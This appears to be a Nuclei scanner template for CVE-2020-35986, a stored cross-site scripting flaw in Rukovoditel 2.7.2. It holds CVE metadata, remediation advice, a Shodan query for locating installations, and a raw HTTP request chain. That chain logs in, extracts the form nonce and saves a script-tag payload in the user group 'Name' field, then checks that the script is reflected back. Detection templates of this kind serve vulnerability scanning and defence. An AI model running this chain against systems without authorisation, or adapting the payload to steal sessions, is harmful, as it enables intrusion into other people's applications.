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id : CVE-2020-35986
info :
name : Rukovoditel <= 2.7.2 - Cross Site Scripting
author : r3Y3r53
severity : medium
description : |
A stored cross site scripting (XSS) vulnerability in the 'Users Access Groups' feature of Rukovoditel 2.7.2 allows authenticated attackers to execute arbitrary web scripts or HTML via a crafted payload entered into the 'Name' parameter.
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remediation : |
Upgrade Rukovoditel to a version higher than 2.7.2 to mitigate the XSS vulnerability.
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reference :
- https://github.com/r0ck3t1973/rukovoditel/issues/2
- http://rukovoditel.com/
- https://nvd.nist.gov/vuln/detail/CVE-2020-35986
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score : 5.4
cve-id : CVE-2020-35986
cwe-id : CWE-79
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epss-score : 0.00127
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epss-percentile : 0.46918
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cpe : cpe:2.3:a:rukovoditel:rukovoditel:2.7.2:*:*:*:*:*:*:*
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metadata :
verified : "true"
max-request : 3
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vendor : rukovoditel
product : rukovoditel
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shodan-query : http.favicon.hash:-1499940355
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tags : cve,cve2020,rukovoditel,stored-xss,xss,authenticated
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http :
- raw :
- |
GET /index.php?module=users/login HTTP/1.1
Host : {{Hostname}}
- |
POST /index.php?module=users/login&action=login HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
form_session_token={{nonce}}&username={{username}}&password={{password}}
- |
POST /index.php?module=users_groups/users_groups&action=save HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
form_session_token={{nonce}}&name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&sort_order=0¬es=test
cookie-reuse : true
redirects : true
matchers :
- type : dsl
dsl :
- 'status_code_3 == 200'
- 'contains(body_3, "<script>alert(document.domain)</script>")'
- 'contains(body_3, "rukovoditel")'
condition : and
extractors :
- type : regex
name : nonce
group : 1
regex :
- 'id="form_session_token" value="(.*)" type="hidden"'
internal : true